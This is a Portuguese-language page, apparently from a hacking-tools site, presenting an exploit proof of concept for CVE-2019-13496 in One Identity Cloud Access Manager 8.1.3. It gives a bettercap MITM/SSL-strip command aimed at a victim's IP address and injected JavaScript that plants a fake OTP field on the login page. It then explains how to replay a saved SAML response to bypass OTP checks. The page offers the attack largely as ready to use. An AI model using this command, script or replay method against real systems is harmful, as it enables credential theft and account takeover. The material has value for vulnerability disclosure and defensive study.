Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!
CVE-2019-13496 — Prova de conceito de exploit demonstrando bypass de OTP no One Identity Cloud Access Manager 8.1.3 via MITM/SSL-strip, replay de resposta SAML e JavaScript injetado para capturar credenciais. | Kitploit
Prova de conceito de exploit demonstrando bypass de OTP no One Identity Cloud Access Manager 8.1.3 via MITM/SSL-strip, replay de resposta SAML e JavaScript injetado para capturar credenciais.
Para explorar a vulnerabilidade de bypass de OTP, um atacante utiliza uma vulnerabilidade anteriormente descoberta de MITM/SSL-Strip , .Um atacante conduz um ataque de MITM / SSL strip, por meio do qual consegue injetar uma caixa de texto de OTP na página web que está sendo servida à vítima. A vítima compartilha seu nome de usuário, senha e OTP gerado por um aplicativo chamado defender (que pertence ao mesmo fornecedor). O atacante intercepta o nome de usuário, a senha e o OTP e tenta acessar o aplicativo por meio de um fluxo legítimo. Depois de inserir o nome de usuário e a senha (que foram roubados), o atacante insere o OTP roubado na página seguinte. Ao enviar a solicitação na página de OTP, a resposta SAML assinada é salva. Agora, mesmo que o atacante não tenha acesso ao aplicativo que gera o OTP, ele pode inserir um OTP inválido para transações sucessivas e, enquanto o aplicativo invalida o OTP, o atacante pode trocar a resposta SAML com falha pela resposta SAML legítima obtida anteriormente, e o aplicativo não realiza uma verificação de integridade e autentica o atacante.
(1) O primeiro passo do ataque é conduzir o MITM/SSL-Strip, que está documentado em: CVE-2019-13498 , e também está especificado abaixo:
O comando bettercap usado é:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js
Aqui, 192.168.1.103 é o endereço IP da vítima. Se não o soubermos, podemos usar o bettercap para farejar e manipular o conteúdo de toda a LAN (rede comum entre atacante e vítima)
O conteúdo de inject_js.js é fornecido abaixo
root@kitploit:~
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Agora, quando a vítima navegar no produto (Cloud access manager), devido ao envenenamento de cache e SSL strip (Bettercap), uma caixa de texto de OTP será injetada na página que será servida à vítima por meio do trecho de JavaScript injetado
Como a conexão é rebaixada para HTTP via ssl-strip, agora todo o tráfego fica visível para o atacante. Assim, podemos interceptar o tráfego e ver o nome de usuário, a senha e o OTP enviados pela vítima.
Agora, vamos supor que já tenhamos feito login uma vez com as credenciais salvas e tenhamos salvo todas as solicitações e respostas válidas.
Nesta seção, aprenderemos como podemos usar a resposta de OTP salva anteriormente para contornar a validação de OTP, o que nos permitirá fazer login no aplicativo.
Vamos inserir um OTP inválido, como mostrado abaixo:
Abaixo é mostrada a resposta que falha na validação do OTP.
Substitua a resposta com falha pela resposta legítima salva anteriormente.
Abaixo é mostrada a resposta SAML que falha na validação do OTP.
Substitua a resposta com falha pela resposta SAML legítima salva anteriormente.
Bingo, o aplicativo nos autentica. Idealmente, ele deveria ter feito uma verificação de integridade e levado em conta que o OTP expirou.